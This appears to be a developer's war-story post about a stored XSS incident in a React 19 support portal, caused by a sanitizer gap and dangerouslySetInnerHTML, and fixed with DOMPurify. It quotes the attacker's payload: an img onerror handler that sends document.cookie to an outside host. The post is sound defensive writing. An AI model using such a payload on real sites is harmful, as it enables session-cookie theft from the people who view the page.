War Story: We Had an XSS Attack Because of a React 19 Unsafe InnerHTML Usage
It started as a normal Tuesday morning for our frontend team. We were wrapping up a sprint for our customer support portal, built on React 19, when our security monitoring tool fired a critical alert: suspicious script execution traced to our app’s live environment.
The Context: Why We Used innerHTML in the First Place
Our portal included a rich text editor for support agents to draft responses to customer tickets. The editor saved content as HTML strings, which we needed to render back to agents when they reopened tickets. For React 19, we initially used the dangerouslySetInnerHTML prop to render these saved HTML snippets, a common pattern for preformatted content. We thought we were safe: we’d added basic sanitization on the backend, stripping out <script> tags before saving content to the database.
The Vulnerability: A Sanitization Gap Meets React 19 Behavior
What we missed: our backend sanitizer only blocked explicit <script> tags, but didn’t catch event handler attributes like onerror or onclick embedded in other tags. Worse, React 19’s dangerouslySetInnerHTML does not perform any additional sanitization by default—it trusts that the passed content is safe, which we incorrectly assumed our backend sanitizer guaranteed.
A malicious actor discovered this gap. They submitted a support ticket with a "rich text" response containing an <img> tag with an onerror attribute: <img src=x onerror="fetch('https://malicious-site.com/steal?cookie='+document.cookie)">. Our backend sanitizer let this through, since there was no <script> tag. When a support agent opened the ticket, React 19 rendered the HTML via dangerouslySetInnerHTML, the image failed to load, triggered the onerror handler, and the attacker’s script executed in the agent’s browser.
The Impact
The attack stole session cookies for 12 support agents before we caught it. Fortunately, we had multi-factor authentication enabled for all agent accounts, so the attacker couldn’t access the portal directly. But we still had to force-reset all agent sessions, notify affected customers, and spend 3 days in incident response instead of shipping planned features.
The Fix
We took two immediate steps: first, we replaced dangerouslySetInnerHTML with a proper HTML sanitizer library (DOMPurify) on the frontend, configured to strip all event handler attributes and disallowed tags. Second, we updated our backend sanitizer to use the same DOMPurify rules, adding defense in depth.
We also audited all other uses of dangerouslySetInnerHTML across our React 19 codebase—we found 3 other instances with similar gaps, all of which we patched immediately.
Lessons Learned
- Never trust
dangerouslySetInnerHTMLcontent, even if you think it’s sanitized elsewhere. Always sanitize on the client side too. - React 19 does not add any safety rails to
dangerouslySetInnerHTML—the name is a warning, not a suggestion. - Backend sanitization must cover all possible XSS vectors, not just explicit script tags. Event handlers, inline styles with javascript: URLs, and other edge cases matter.
- Defense in depth is critical: don’t rely on a single layer of security for user-generated content.
We’ve since made sanitization a mandatory part of our code review checklist for any React component that renders user-generated HTML. It was a painful lesson, but one that made our app far more secure in the long run.







